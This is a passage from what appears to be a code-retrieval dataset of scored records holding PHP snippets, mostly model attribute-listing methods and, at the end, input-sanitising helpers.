"title": "" }, { "docid": "82dc8bac7e2f988deb36889262433910", "score": "0.6252222", "text": "function getAttributesArray() {\n if (isset($this->_attributes) &&\n is_array($this->_attributes) &&\n count($this->_attributes) > 0) {\n $result = array();\n foreach ($this->_attributes as $attribute) {\n $result[$attribute->name] = $attribute->value;\n }\n return $result;\n } else {\n return array();\n }\n }", "title": "" }, { "docid": "3c01ceeb3ecef0398f3d8721af437512", "score": "0.6234277", "text": "public function getAttributes() {\n\t\t$this->getData();\n\t\t// ToDo: Add all the other attributes on demand.\n\t\t// Example:\n\t\t// - owi-aos---\n\t\t// - swi-a-s---\n\t\treturn [\n\t\t\t\"origin\" => (\"o\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"snapshot\" => (\"s\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"invalidsnapshot\" => (\"S\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"mirrored\" => (\"m\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"virtual\" => (\"v\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"pvmove\" => (\"p\" == substr($this->lvAttr, 0, 1)),\n\t\t\t\"state\" => [\n\t\t\t\t\"active\" => (\"a\" == substr($this->lvAttr, 4, 1)),\n\t\t\t\t\"suspended\" => (\"s\" == substr($this->lvAttr, 4, 1)),\n\t\t\t\t\"invalidsnapshot\" => (\"I\" == substr($this->lvAttr, 4, 1)),\n\t\t\t\t\"invalidsuspendedsnapshot\" => (\"S\" == substr($this->lvAttr, 4, 1))\n\t\t\t],\n\t\t\t\"device\" => [\n\t\t\t\t\"open\" => (\"o\" == substr($this->lvAttr, 5, 1)),\n\t\t\t\t\"unknown\" => (\"X\" == substr($this->lvAttr, 5, 1))\n\t\t\t]\n\t\t];\n\t}", "title": "" }, { "docid": "350ab9859f24b7b1be4dffa12cd3a218", "score": "0.6204838", "text": "public function getAttributes() : array ;", "title": "" }, { "docid": "8d14e45209d9602d83d213bf1ef52a0c", "score": "0.6192782", "text": "public function getValidNameAttributes(): array\n {\n return [\n 'Starts with _' => [\n 'attribute_name_0001.xsd', '_foo', \n ], \n 'Starts with letter' => [\n 'attribute_name_0002.xsd', 'f', \n ], \n 'Contains letter' => [\n 'attribute_name_0003.xsd', 'foo', \n ], \n 'Contains digit' => [\n 'attribute_name_0004.xsd', 'f00', \n ], \n 'Contains .' => [\n 'attribute_name_0005.xsd', 'f.bar', \n ], \n 'Contains -' => [\n 'attribute_name_0006.xsd', 'f-bar', \n ], \n 'Contains _' => [\n 'attribute_name_0007.xsd', 'f_bar', \n ], \n 'Surrounded by whitespaces' => [\n 'attribute_name_0008.xsd', 'foo_bar', \n ], \n ];\n }", "title": "" }, { "docid": "c2b1c8b18467c2dffe3bbe69d3542084", "score": "0.61900765", "text": "public function getAttributes(): array {}", "title": "" }, { "docid": "c2b1c8b18467c2dffe3bbe69d3542084", "score": "0.61900765", "text": "public function getAttributes(): array {}", "title": "" }, { "docid": "3fbe7495aafee8656d9d0404d56e9dd7", "score": "0.61829793", "text": "protected static function getLocalCreateAttributes()\n\t{\n\t\treturn static::getLocalAttributes();\n\t}", "title": "" }, { "docid": "1e528f3d09cff380fa5eb3ffd494f76e", "score": "0.61792946", "text": "public function frontEndAttributeNames();", "title": "" }, { "docid": "6c835e05c586386222d63f4639bfad43", "score": "0.6178273", "text": "public function getAttributes(){\n $attributes = array_keys($this->attributeLabels());\n\n $dataArray = [];\n foreach($attributes as $attr){\n if( !isset($dataArray[$attr]) && property_exists(get_class($this), $attr) ){\n $dataArray[$attr] = $this->$attr;\n }\n }\n\n return $dataArray;\n }", "title": "" }, { "docid": "f599cd70863b482d055787766a098ec6", "score": "0.61640644", "text": "public function attributes()\n {\n return array_merge(parent::attributes(), ['company.company_name', 'clients.client_name','user.username']);\n }", "title": "" }, { "docid": "6727fc2d710aff78364e6c39e5641c99", "score": "0.6158628", "text": "public function getAttributes() : array;", "title": "" }, { "docid": "314883749fe18b546940cb3a7473aa67", "score": "0.61536634", "text": "protected function getNormalizedAttributes()\n {\n return array_change_key_case($this->attributes, CASE_LOWER);\n }", "title": "" }, { "docid": "185ec5ae87d371c5dd2733efb7478b9c", "score": "0.6143691", "text": "public function attributes()\n {\n $attrs = array();\n $attrs = array_unique( array_merge( $attrs, array_keys( $this->attributeFunctions ) ) );\n $attrs = array_unique( array_merge( $attrs, array_keys( $this->attributeHolder ) ) );\n \n return $attrs;\n }", "title": "" }, { "docid": "58633d454d594ee500f1b8fb947120d1", "score": "0.61337525", "text": "public function getAttributes()\n {\n return array();\n }", "title": "" }, { "docid": "7351561135b55b27f25292ef3d1bdcde", "score": "0.61277807", "text": "public function dataAttributeNames() {\n\t\treturn array();\n\t}", "title": "" }, { "docid": "9a0a73a9eb7ed97ae923f9156a30b7e7", "score": "0.6107384", "text": "final public function getImportAttributes()\n {\n \n if (!$this->_maskApplied) $this->ApplyMask();\n $tsa = array();\n if (!empty($this->attributes->attr)) {\n $this->attributes->orderAttributes();\n }\n $tattr = $this->attributes->attr;\n foreach ($tattr as $k => $v) {\n /**\n * @var NormalAttribute $v\n */\n \n if ((get_class($v) == \"NormalAttribute\") && (($v->mvisibility == \"W\") || ($v->mvisibility == \"O\") || ($v->type == \"docid\")) && ($v->type != \"array\")) {\n \n if (preg_match(\"/\\(([^\\)]+)\\):(.+)/\", $v->phpfunc, $reg)) {\n \n $aout = explode(\",\", $reg[2]);\n foreach ($aout as $ka => $va) {\n $ra = $this->GetAttribute($va);\n if ($ra) $tsa[strtolower($va) ] = $ra;\n }\n }\n $tsa[$v->id] = $v;\n }\n }\n \n return $tsa;\n }", "title": "" }, { "docid": "f19fe6f38a11b308c592a23ab66fcd70", "score": "0.6071283", "text": "public function toArray() {\n $attrs = $this->_private_attributes;\n $result = array();\n foreach ($attrs as $key => $attr) {\n if (method_exists($this, \"get\" . underscore_to_camel_case($key, true))) {\n eval('$result[\"' . $key . '\"] = $this->get' . underscore_to_camel_case($key, true) . '();');\n } else {\n $result[$key] = $attr;\n }\n }\n return $result;\n }", "title": "" }, { "docid": "835746ac1664ba9a35385f93562349a7", "score": "0.6058482", "text": "public function attributesToArray()\n {\n $attributes = [];\n foreach ($this->attributes as $attribute) {\n $attributes[$attribute] = $this->$attribute;\n }\n return $attributes;\n }", "title": "" }, { "docid": "68da8919ab8fd68f108463c0e4493ffd", "score": "0.6052525", "text": "public static function attributes(): array{\n return [];\n }", "title": "" }, { "docid": "47bfe76e13474d45012b390b0f04b59e", "score": "0.605239", "text": "public function getAttributes()\n {\n return [];\n }", "title": "" }, { "docid": "34029aff841bfc434eef3c2248390680", "score": "0.6051361", "text": "public function attributes()\n {\n return [\n \"log_date\" => \"Date\",\n \"log_time\" => \"Time\",\n \"bp\" => \"Blood Pressure\",\n \"sys\" => \"Systolic\",\n \"dia\" => \"Diastolic\",\n \"hr\" => \"Heart Rate\",\n \"h_rate\" => \"Heart Rate Value\",\n \"wt\" => \"Weight\",\n \"weight\" => \"Weight Value\",\n \"lp\" => \"Lipid Profile\",\n \"lp_total\" => \"Cholesterol (Total)\",\n \"lp_hdl\" => \"HDL - Cholesterol\",\n \"lp_ldl\" => \"LDL - Cholesterol\",\n \"lp_triglycerides\" => \"Triglycerides\",\n \"bs\" => \"Blood Sugar\",\n \"bs_rbs\" => \"Random Blood Sugar (RBS)\",\n \"bs_fbs\" => \"Fasting Blood Sugar (FBS)\",\n \"bs_abf\" => \"Blood Sugar 2H ABF\",\n \"creatinine\" => \"Creatinine\",\n \"creatinine_details\" => \"Creatinine Value\",\n \"cbc\" => \"CBC\",\n \"cbc_details\" => \"CBC Details\",\n \"others\" => \"Others\",\n \"others_details\" => \"Other Details\",\n \"comments\" => \"Comments\",\n \"comments_details\" => \"Comments Value\",\n ];\n }", "title": "" }, { "docid": "d7a44ed0d5e3e51d3072bd8c02adfda2", "score": "0.6033819", "text": "final public static function getExternalAttributes() {\n\t\treturn [\n\t\t\t'name' => null,\n\t\t\t'username' => null,\n\t\t\t'password' => null,\n\t\t\t'salt' => null,\n\t\t\t'password_hash' => null,\n\t\t\t'email' => null,\n\t\t\t'language' => null,\n\t\t\t'banned' => \"no\",\n\t\t\t'admin' => 'no',\n\t\t\t'prev_last_action' => null,\n\t\t\t'last_login' => null,\n\t\t\t'prev_last_login' => null,\n\t\t];\n\t}", "title": "" }, { "docid": "9470c7c2ddb5e65f1ccc6d1ce4acb310", "score": "0.6024628", "text": "public function attributesToArray()\n {\n $attributes = parent::attributesToArray();\n\n foreach ($this->getEncryptableArray() as $key => $value) {\n if (isset($attributes[$key])) {\n $attributes[$key] = $this->getAttribute($key);\n }\n }\n\n return $attributes;\n }", "title": "" }, { "docid": "9d7fb627cabfbc06c1702490fdff0dc4", "score": "0.60098296", "text": "public function attributes()\n {\n return [$this->attribute];\n }", "title": "" }, { "docid": "21dc905148749d3d694ca3fcf220f530", "score": "0.6007042", "text": "public function attributes()\n {\n return [\n 'contragent.type_id' => trans('site::contragent.type_id'),\n 'contragent.name' => trans('site::contragent.name'),\n 'contragent.inn' => trans('site::contragent.inn'),\n 'contragent.ogrn' => trans('site::contragent.ogrn'),\n 'contragent.okpo' => trans('site::contragent.okpo'),\n 'contragent.kpp' => trans('site::contragent.kpp'),\n 'contragent.rs' => trans('site::contragent.rs'),\n 'contragent.ks' => trans('site::contragent.ks'),\n 'contragent.bik' => trans('site::contragent.bik'),\n 'contragent.bank' => trans('site::contragent.bank'),\n 'contragent.nds' => trans('site::contragent.nds'),\n 'contragent.nds_act' => trans('site::contragent.nds'),\n ];\n }", "title": "" }, { "docid": "1ade2e16242c99177b6a872d5336e2c0", "score": "0.6004067", "text": "static public function attr_name_for($name) {\n static $cache = array();\n return isset($cache[$name]) ?\n $cache[$name] :\n $cache[$name] = ucfirst(Core_Strings::to_camel_case($name, false));\n }", "title": "" }, { "docid": "ecfff85d47312f8cdd980116354e59f5", "score": "0.5992783", "text": "public function attributeNames() {\r\n return array(\r\n 'id',\r\n 'web_id',\r\n 'list_id',\r\n 'folder_id',\r\n 'template_id',\r\n 'content_type',\r\n 'title',\r\n 'type',\r\n 'create_time',\r\n 'send_time',\r\n 'emails_sent',\r\n 'status',\r\n 'from_name',\r\n 'from_email',\r\n 'subject',\r\n 'to_name',\r\n 'archive_url',\r\n 'inline_css',\r\n 'analytics',\r\n 'analytics_tag',\r\n 'authenticate',\r\n 'ecomm360',\r\n 'auto_tweet',\r\n 'auto_fb_post',\r\n 'auto_footer',\r\n 'timewarp',\r\n 'timewarp_schedule',\r\n 'tracking',\r\n 'segment_text',\r\n 'segment_opts',\r\n 'type_opts',\r\n );\r\n }", "title": "" }, { "docid": "ce3d8535a0992a017096077e373eec74", "score": "0.5985439", "text": "public function getAttributesNames(){\r\n\t\t$attributes = $this->getAttributesValues();\r\n\t\t\r\n\t\t$comments = array();\r\n\t\tif(!empty($attributes)){\r\n\t\t\tforeach($attributes as $key => $attributeProperties){\r\n\t\t\t\t$comments[$key] = $attributeProperties[self::$nameKey];\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn $comments;\r\n\t}", "title": "" }, { "docid": "babda81fcbd2b8ff38ca6cea160eeeab", "score": "0.59825456", "text": "public function attributes()\n {\n return [\n 'pessoa_id' => 'responsável',\n 'nome' => 'nome',\n 'cep' => 'cep',\n 'rua' => 'rua',\n 'numero' => 'número',\n 'bairro' => 'bairro',\n 'cidade' => 'cidade',\n 'uf' => 'uf',\n 'complemento' => 'complemento',\n 'status' => 'status',\n 'capacidades.*.especie_id' => 'espécie',\n 'capacidades.*.capacidade' => 'capacidade',\n ];\n }", "title": "" }, { "docid": "d9e17d07f9a590fceac4e97583a7f847", "score": "0.5980735", "text": "public function toArray()\n {\n if($this->exists){\n return array_merge($this->original,$this->attributes);\n }\n return $this->attributes;\n }", "title": "" }, { "docid": "49e4f2bb33018f18acc4c91bcfe037d5", "score": "0.5963323", "text": "public function forwardTransformAttributeKeyNames(array $array);", "title": "" }, { "docid": "8ec47cd415548a01ef88ddabec3643ad", "score": "0.5961773", "text": "public static function attributeMap()\n {\n return [\n 'mfa_status' => 'mfa_status',\n 'users' => 'users',\n 'users_with_totp_enabled' => 'users_with_totp_enabled',\n 'update_allowed' => 'update_allowed'\n ];\n }", "title": "" }, { "docid": "e72bf60f1bc1cca8b86b4588739c897c", "score": "0.59588283", "text": "public function getAttributes()\n {\n $args = func_get_args();\n $names = array();\n foreach ($args as $arg) {\n if (is_array($arg)) {\n $names = array_merge($names, $arg);\n } else {\n if ($arg !== null) {\n $names[] = $arg;\n }\n }\n }\n\n if (!empty($names)) {\n $return = [];\n foreach ($names as $name) {\n $return[] = $this->getAttribute($name);\n }\n return $return;\n } else {\n return $this->attributes;\n }\n }", "title": "" }, { "docid": "79931966b5b3cdf6902eeef9fdce8846", "score": "0.59537226", "text": "public static function attributeMap()\n {\n return [\n 'document_type' => 'document_type',\n 'comment' => 'comment',\n 'common_part_update' => 'common_part_update',\n 'changed_items' => 'changed_items',\n 'link' => 'link',\n 'grace_period' => 'grace_period'\n ];\n }", "title": "" }, { "docid": "f323edba6776739f7755477e2190f7e6", "score": "0.59518504", "text": "public function getAttributesValues(){\r\n\t\t//TODO - Hier vermutlich Mapping nötig.\r\n\t\treturn array($this->formData[self::$classKey][self::$attributesKey]);\r\n\t}", "title": "" }, { "docid": "8ab8059e5990032f24178b37b4fd0fe6", "score": "0.59367865", "text": "public function getAttributes ();", "title": "" }, { "docid": "de3f0ed622998bb5b9ebd4a1c05eee59", "score": "0.59324306", "text": "public function attributeNames()\n {\n return array('filename', 'extension');\n }", "title": "" }, { "docid": "ca25949f404737447d7df1d81613f634", "score": "0.5928069", "text": "public function attributes()\n {\n return [\n 'code' => 'Bölüm Kodu',\n 'name' => 'Bölüm'\n ];\n }", "title": "" }, { "docid": "064cada5fcfeee524a8a236fd5067b16", "score": "0.5916106", "text": "public function pick() {\r\n $attrs = array();\r\n foreach(func_get_args() as $attr) {\r\n if (is_string($attr)) $attrs[$attr] = $this->get($attr);\r\n else foreach($attr as $a) $attrs[$a] = $this->get($a); \r\n };\r\n return $attrs;\r\n }", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "5cf80071792e13ce9cdb2046c38a59cb", "score": "0.5911171", "text": "public function getAttributes();", "title": "" }, { "docid": "4ffe7f45d4d25456ad4c8ad7da028192", "score": "0.59059256", "text": "public function getAttributeNames():array {\n\t\t$attributeArray = iterator_to_array($this->attributes);\n\t\treturn array_keys($attributeArray);\n\t}", "title": "" }, { "docid": "b5320453e24ca3ba91cee818a4b242ed", "score": "0.58995295", "text": "public function getAttributes()\n\t{\n\t\treturn array(\n\t\t\t'login' => $this->username,\n\t\t\t'email' => $this->email,\n\t\t\t'firstName' => $this->firstName,\n\t\t\t'lastName' => $this->lastName,\n\t\t);\n\t}", "title": "" }, { "docid": "04e4dd6a2138ad39a66fb6763e961c70", "score": "0.5859776", "text": "public static function attributeMap();", "title": "" }, { "docid": "04e4dd6a2138ad39a66fb6763e961c70", "score": "0.5859776", "text": "public static function attributeMap();", "title": "" }, { "docid": "04e4dd6a2138ad39a66fb6763e961c70", "score": "0.5859776", "text": "public static function attributeMap();", "title": "" }, { "docid": "04e4dd6a2138ad39a66fb6763e961c70", "score": "0.5859776", "text": "public static function attributeMap();", "title": "" }, { "docid": "145bd565a519b194a01ac9f7a14ee97b", "score": "0.5857767", "text": "public function getTranslationArray() {\r\n $translationQuery = $this->db\r\n\t\t->select('*')\r\n\t\t->from('main')\r\n\t\t->get();\r\n foreach ($translationQuery->result_array() as $row) {\r\n $translationArray[$row['attribute_id']] = $row['attribute_name'];\r\n }\r\n return $translationArray;\r\n }", "title": "" }, { "docid": "0a3a11bf168af2d01f627e967adde7ba", "score": "0.5851779", "text": "public function attributes()\n {\n return [];\n }", "title": "" }, { "docid": "0a3a11bf168af2d01f627e967adde7ba", "score": "0.5851779", "text": "public function attributes()\n {\n return [];\n }", "title": "" }, { "docid": "d8ef4e8d1b11985373967198208ec2be", "score": "0.58514476", "text": "public function attributes()\n {\n return [\n 'name' => __('field.name'),\n 'parent_id' => __('field.parent_id'),\n 'route_name' => __('field.route_name')\n ];\n }", "title": "" }, { "docid": "99939b4ff3c0a4e7259a43fa21cb5d9a", "score": "0.58376634", "text": "final public function attributes() : array\n\t{\n\t\t$attributes = [];\n\t\tforeach (static::$databaseFields as $field):\n\t\t\tif (isset($this->$field))\n\t\t\t\t$attributes[$field] = $this->$field;\n\t\tendforeach;\n\t\treturn $attributes;\n\t}", "title": "" }, { "docid": "dc9dc459bf73f738338b383a5fcca29d", "score": "0.5825625", "text": "public function getActiveAttributeArray() {\n $attributesObj = Attribute::where('status', 'active')->get();\n $attributes = null;\n if($attributesObj) {\n foreach($attributesObj as $attr) {\n //$attributes[$attr->name][] = $attr->value;\n $attributes[$attr->name][$attr->id] = $attr->value;\n }\n \n }\n return $attributes;\n }", "title": "" }, { "docid": "b70fd8466881c336a47f0b3dee762a32", "score": "0.5817643", "text": "public function attributes() : array\n {\n return [\n 'id' => 'Id',\n 'nombre' => 'Nombre',\n 'categoria_id' => 'Categoria',\n 'referencia_fabrica' => 'Referencia Fabrica',\n 'codigo_barras' => 'Código de Barras',\n 'unidad_medida' => 'Unidad de Medida',\n 'correoElectronico' => 'E-Mail',\n 'descripcion' => 'Descripción',\n 'stock' => 'Stock',\n 'iva' => 'IVA',\n 'precio' => 'Precio',\n 'created_at' => 'Creado',\n 'updated_at' => 'Actualizado'\n ];\n }", "title": "" }, { "docid": "61ea4736e95ed72501f4568a66ca73b8", "score": "0.5815974", "text": "public function attributes()\n {\n return [\n 'name' => 'nome',\n ];\n }", "title": "" }, { "docid": "0b164d3a5f062228ae0fe30c93f1a322", "score": "0.5811955", "text": "public function attributes()\n {\n\n return [\n 'code' => 'kod materiału',\n 'name' => 'nazwa materiału',\n 'unit_id' => 'jednostka miary',\n 'group_id' => 'grupa materiałów',\n ];\n }", "title": "" }, { "docid": "3c74eb40bd96eadcc1d82149a7f919f5", "score": "0.58027387", "text": "public function getAttributes()\n {\n return array(\n 'company_id' => $this->getCompanyId(),\n 'name' => $this->getName(),\n 'address' => $this->getAddress(),\n 'city' => $this->getCity(),\n 'zip' => $this->getZip(),\n 'county' => $this->getCounty(),\n 'state' => $this->getState(),\n 'phone' => $this->getPhone(),\n 'fax' => $this->getFax(),\n 'email' => $this->getEmail(),\n 'contact' => $this->getContact(),\n 'title' => $this->getTitle(),\n 'creater_id' => $this->getCreaterId(),\n 'country' => $this->getCountry(),\n 'gcg_id' => $this->getGcgId(),\n 'creation_date' => $this->getCreationDate(),\n 'voc_unittype_id' => $this->getVocUnittypeId(),\n 'date_format_id' => $this->getDateFormatId(),\n 'last_update_time' => $this->getLastUpdateTime(),\n 'industryType' => $this->getIndustryType()\n );\n }", "title": "" }, { "docid": "942fda03624281586fd7c24cb6f88392", "score": "0.5801409", "text": "public function getAttributes() {\n\t\t$result = array();\n\t\t$result2 = array();\n\t\t$reflection = new ReflectionClass($this);\n\t\t$result = $reflection->getdefaultProperties();\n\t\t$result = array_keys($result);\n\t\tforeach ($result AS $data) {\n\t\t\t$result2[] = substr($data,1);\n\t\t}\n\t\treturn $result2;\n\t}", "title": "" }, { "docid": "476fd2846220ff6972756b866c76a78c", "score": "0.58003104", "text": "public function attributeNames() {\n\t\treturn array(\n\t\t\t'min',\n\t\t\t'hour',\n\t\t\t'day',\n\t\t\t'month',\n\t\t\t'weekDay',\n\t\t\t'year',\n\t\t\t'command',\n\t\t);\n\t}", "title": "" }, { "docid": "efb28da42bf8d0de38d372250208a909", "score": "0.57974094", "text": "final public function get_attributes() {\n\n\t\t\t$attributes = $this->attributes;\n\n\t\t\t// Everything can have a `style` attribute.\n\t\t\t$attributes[] = 'style';\n\n\t\t\t$mapped_attributes = array();\n\n\t\t\tforeach ( $attributes as $attribute ) {\n\t\t\t\t$mapped_attributes[ $attribute ] = $this->map_attribute( $attribute );\n\t\t\t}\n\n\t\t\t$mapped_attributes['id'] = $this->key;\n\n\t\t\treturn $mapped_attributes;\n\n\t\t}", "title": "" }, { "docid": "4a803ab1313792365a3410dec4ba7e07", "score": "0.57914275", "text": "public function attributes()\n {\n return [\n 'catalog.catalog_id' => trans('site::catalog.catalog_id'),\n 'catalog.image_id' => trans('site::catalog.image_id'),\n 'catalog.name' => trans('site::catalog.name'),\n 'catalog.name_plural' => trans('site::catalog.name_plural'),\n 'catalog.h1' => trans('site::catalog.h1'),\n 'catalog.title' => trans('site::catalog.title'),\n 'catalog.metadescription' => trans('site::catalog.metadescription'),\n ];\n }", "title": "" }, { "docid": "3e288a6828c7911d97b1c4eef8aa46ff", "score": "0.57908523", "text": "public function attributeMap($name)\n {\n $values = array();\n\n foreach ($this as $node) {\n if ($node->attributes && $attr = $node->attributes->getNamedItem($name)) {\n $value = $attr->value;\n\n if (!isset ($values[$value])) {\n $values[$value] = array();\n }\n\n $values[$value][] = $node;\n }\n }\n\n return $values;\n }", "title": "" }, { "docid": "c33e7fa8bfc1b22a24ac83962e6f5f9b", "score": "0.57868093", "text": "function getAttributeNames()\n {\n return array_keys($this->attrs);\n }", "title": "" }, { "docid": "877e4ee2dad6769e8de81bac232b6d96", "score": "0.578321", "text": "public function attributes()\n {\n return array_merge(parent::attributes(), ['seller.email','vehicle_age.name','company.name']);\n }", "title": "" }, { "docid": "b48cbb3dbfd09c43dbf82ab9de9e3bd8", "score": "0.5780495", "text": "public function attributes()\n {\n return [\n //\n ];\n }", "title": "" }, { "docid": "5052948559a65ba9b461d713c21a7522", "score": "0.5780446", "text": "public function getAttributes()\n {\n Controller::loadDataContainer('tl_iso_product');\n System::loadLanguageFile('tl_iso_product');\n\n $arrAttributes = [];\n\n foreach ($GLOBALS['TL_DCA']['tl_iso_product']['fields'] as $field => $arrData) {\n if ($arrData['attributes']['fe_filter'] ?? false) {\n $arrAttributes[$field] = sprintf(\n '%s (%s)',\n (\\strlen($arrData['label'][0]) ? $arrData['label'][0] : $field),\n ($arrData['eval']['multiple'] ? 'multiple choice' : 'single choice')\n );\n }\n }\n\n return $arrAttributes;\n }", "title": "" }, { "docid": "5c75a5cce1eeab4180a79baf3f2034f4", "score": "0.57794267", "text": "public function attributes()\n {\n // メッセージの要素名部分を変換する\n return [\n 'name' => '名前',\n 'email' => 'メールアドレス',\n 'password' => 'パスワード',\n 'is_enabled' => '状態',\n ];\n }", "title": "" }, { "docid": "ded8823eaaabbbbbfe9c1d178a674fef", "score": "0.5774883", "text": "function prepare_attributes($attributes)\n {\n $prepared = array();\n if (is_string($attributes)) {\n return parse_attributes($attributes);\n\n } elseif (is_array($attributes)) {\n foreach ($attributes as $key => $value) {\n if (is_int($key)) {\n $key = strtolower($value);\n $prepared[$key] = $key;\n } else {\n $prepared[strtolower($key)] = (string)$value;\n }\n }\n }\n return $prepared;\n }", "title": "" }, { "docid": "da0faf0f61a02a2f029c511a49f23bf4", "score": "0.576994", "text": "protected function getAttributeMap()\n {\n return [];\n }", "title": "" }, { "docid": "7bda374fa779e7f9490582c720858ceb", "score": "0.57674927", "text": "public function attributes()\n {\n return [\n 'plant_ref' => trans('system.code'),\n 'client_id' => trans_title('clients'),\n 'plant_name' => trans_title('plants'),\n 'plant_email' => trans('persona.contact.email'),\n 'plant_nif' => trans('persona.contact.nif'),\n 'plant_contact' => trans('persona.contact.contact'),\n 'plant_address' => trans('persona.contact.address'),\n 'plant_city' => trans_title('cities'),\n 'plant_state' => trans_title('states'),\n 'plant_region' => trans_title('regions'),\n 'plant_zip' => trans_title('persona.contact.zip'),\n 'plant_telephone' => trans_title('persona.contact.telephone'),\n 'plant_email_alt' => trans('persona.contact.email'),\n 'plant_nif_alt' => trans('persona.contact.nif'),\n 'plant_contact_alt' => trans('persona.contact.contact'),\n 'plant_address_alt' => trans('persona.contact.address'),\n 'plant_city_alt' => trans_title('cities'),\n 'plant_state_alt' => trans_title('states'),\n 'plant_region_alt' => trans_title('regions'),\n 'plant_zip_alt' => trans_title('persona.contact.zip'),\n 'plant_telephone_alt' => trans_title('persona.contact.telephone'),\n 'plant_observations' => trans_title('system.observations'),\n ];\n }", "title": "" }, { "docid": "d5dd69ebdde9bb89daf696cfe9f1f0c1", "score": "0.5766987", "text": "protected function attributs($values){\r\n\t\t $attributes=array();\r\n\t\t foreach($values as $fields=>$field) {\r\n\t\t \t\tif($fields!='tbName' or $fields!='save' or $fields!='cancel')\r\n\t\t \t {\r\n\t\t\t $attributes[$fields]=$field;\r\n\t\t }\r\n\r\n\r\n\t\t}\r\n\t\treturn $attributes;\r\n\t}", "title": "" }, { "docid": "2311638d022bce7e15ee13e004462549", "score": "0.5759242", "text": "public function attributes()\n {\n return [\n 'username' => 'Username',\n 'email' => 'Email address',\n 'password' => 'Password',\n 'photo_file'=> 'Image',\n 'first_name'=> 'First Name',\n 'last_name' => 'Last Name',\n 'birthdate' => 'Birthdate',\n 'zip' => 'Zip',\n 'img' => 'Image',\n 'coach_name' => 'Coach Name',\n 'gender' => 'Gender',\n 'birthplace' => 'Birthplace',\n 'citizenship' => 'Citizenship',\n 'residence' => 'Residence',\n 'address' => 'Address',\n 'phone_number' => 'Phone Number',\n 'name' => 'Name',\n 'relation' => 'Relation',\n 'weight' => 'Weight',\n 'height' => 'Height',\n 'hr_max' => 'HR Max',\n 'note' => 'Note',\n 'ranking' => 'Ranking',\n 'racket' => 'Racket',\n 'strings' => 'Strings',\n 'stringing' => 'Stringing',\n 'physicians' => 'Physicians',\n 'physio' => 'Physio',\n 'allergies' => 'Allergies',\n 'other' => 'Other',\n ];\n }", "title": "" }, { "docid": "9ba6da0c8be8d2e63a7209f2db862519", "score": "0.5757742", "text": "public function attributes()\n {\n return [\n 'nmprojeto' => 'Nome',\n 'idtpprojeto' => 'Tipo',\n 'descricao' => 'Descrição',\n 'prioridade' => 'Prioridade',\n 'participantes' => 'Participante',\n 'tecnologias' => 'Tecnologia',\n 'prioridade' => 'Prioridade',\n 'dtentrega' => 'Data de Entrega',\n ];\n }", "title": "" }, { "docid": "41d2a95bd4fd03e17c73ef77b26a4a3b", "score": "0.5752608", "text": "public function attributes()\n {\n return [\n //\n ];\n }", "title": "" } ]
c1781b84b6b8d187dae8a7cbd6962eb5
/ Sanitizes the input given to prevent XSS.
[ { "docid": "a7d7bb555de159e5416148db03991ded", "score": "0.0", "text": "public static function sanitizeData( $str )\n\t{\n\t\treturn htmlspecialchars( $str, ENT_QUOTES, 'UTF-8', false);\t\t\n\t}", "title": "" } ]
[ { "docid": "d35d3839a581e881f52c8f644f680a00", "score": "0.8303889", "text": "function sanitiseInput($input){\n\t\t$input = trim($input); // get rid of leading/trailing whitespaces\n\t\t$input = stripslashes($input); // get rid of slashses\n\t\t$input = htmlspecialchars($input); // get ride of special characters\n\t\treturn $input;\n\t}", "title": "" }, { "docid": "b8f00ab7a9c4f8f566ab07cb420e7127", "score": "0.81492645", "text": "abstract function sanitize();", "title": "" }, { "docid": "9178efb1d6e40e6457f3f996dcd89d41", "score": "0.80889106", "text": "abstract protected function sanitize();", "title": "" }, { "docid": "ca7cd8a8da39458ce64422c544bd7a35", "score": "0.80762583", "text": "function sanitizeInput($input)\n{\n $input = trim($input); // Trim whitespace from beginning/end\n $input = htmlspecialchars($input); // Convert special characters to HTML entities\n\n return $input;\n}", "title": "" }, { "docid": "e74717aae349923be077a5b2e9444571", "score": "0.7976776", "text": "abstract function Sanitize();", "title": "" }, { "docid": "ff00d7ee84c08b8ca5df84a34169b6ee", "score": "0.79491127", "text": "public function sanitizeInput($input){\n\t\t$input = htmlspecialchars($input, ENT_IGNORE, 'utf-8');\n\t\t$input = strip_tags($input);\n\t\t$input = stripslashes($input);\n\t\t\n\t return $input;\n\t}", "title": "" }, { "docid": "4b7fa32cde739ea50c6dcc2ef1e4d70f", "score": "0.7929739", "text": "private function sanitize($input)\n\t{\n\t\treturn htmlspecialchars(strip_tags(trim($input)));\n\t}", "title": "" }, { "docid": "b60479ec1068b5ccf7dfe9965a739c3d", "score": "0.7880578", "text": "function sanitize($input) {\n\t\t$sanitized = str_replace(array('\\'','´','`'), array('','',''), $input);\n\t\treturn $sanitized;\n\t}", "title": "" }, { "docid": "92ce0452ece212b132321ebe7d03237d", "score": "0.78629106", "text": "function maisha_no_sanitize( $input ) {\n}", "title": "" }, { "docid": "eb5ead352e37e66a932c72ac62eae705", "score": "0.78411305", "text": "function sanitize_input($data)\n{\n return htmlspecialchars(stripslashes(trim($data)));\n}", "title": "" }, { "docid": "ff583f0368b6fb0cf514fa48f78a377d", "score": "0.7835326", "text": "function sanitise_input($data) {\n\t\t$data = trim($data);\n\t\t$data = stripslashes($data);\n\t\t$data = htmlspecialchars($data);\n\t\treturn $data;\n \t}", "title": "" }, { "docid": "0b5093c24fdb696e72ba5332aaa51ac1", 